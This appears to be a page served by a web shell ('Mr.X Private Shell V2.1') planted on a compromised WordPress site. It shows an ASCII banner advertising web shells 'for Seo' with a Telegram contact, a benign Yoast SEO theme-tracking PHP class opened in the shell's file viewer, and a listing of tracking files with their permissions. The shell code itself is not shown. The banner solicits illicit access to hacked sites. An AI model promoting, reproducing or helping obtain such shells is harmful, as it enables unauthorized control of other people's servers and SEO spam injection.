__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Tracking
*/
/**
* Represents the theme data.
*/
class WPSEO_Tracking_Theme_Data implements WPSEO_Collection {
/**
* Returns the collection data.
*
* @return array The collection data.
*/
public function get() {
$theme = wp_get_theme();
return [
'theme' => [
'name' => $theme->get( 'Name' ),
'url' => $theme->get( 'ThemeURI' ),
'version' => $theme->get( 'Version' ),
'author' => [
'name' => $theme->get( 'Author' ),
'url' => $theme->get( 'AuthorURI' ),
],
'parentTheme' => $this->get_parent_theme( $theme ),
'blockTemplateSupport' => current_theme_supports( 'block-templates' ),
'isBlockTheme' => function_exists( 'wp_is_block_theme' ) && wp_is_block_theme(),
],
];
}
/**
* Returns the name of the parent theme.
*
* @param WP_Theme $theme The theme object.
*
* @return string|null The name of the parent theme or null.
*/
private function get_parent_theme( WP_Theme $theme ) {
if ( is_child_theme() ) {
return $theme->get( 'Template' );
}
return null;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| class-tracking-addon-data.php | File | 4.12 KB | 0775 |
|
| class-tracking-default-data.php | File | 1.41 KB | 0775 |
|
| class-tracking-plugin-data.php | File | 2.03 KB | 0775 |
|
| class-tracking-server-data.php | File | 1.98 KB | 0775 |
|
| class-tracking-settings-data.php | File | 6.65 KB | 0775 |
|
| class-tracking-theme-data.php | File | 1.16 KB | 0775 |
|
| class-tracking.php | File | 6.86 KB | 0775 |
|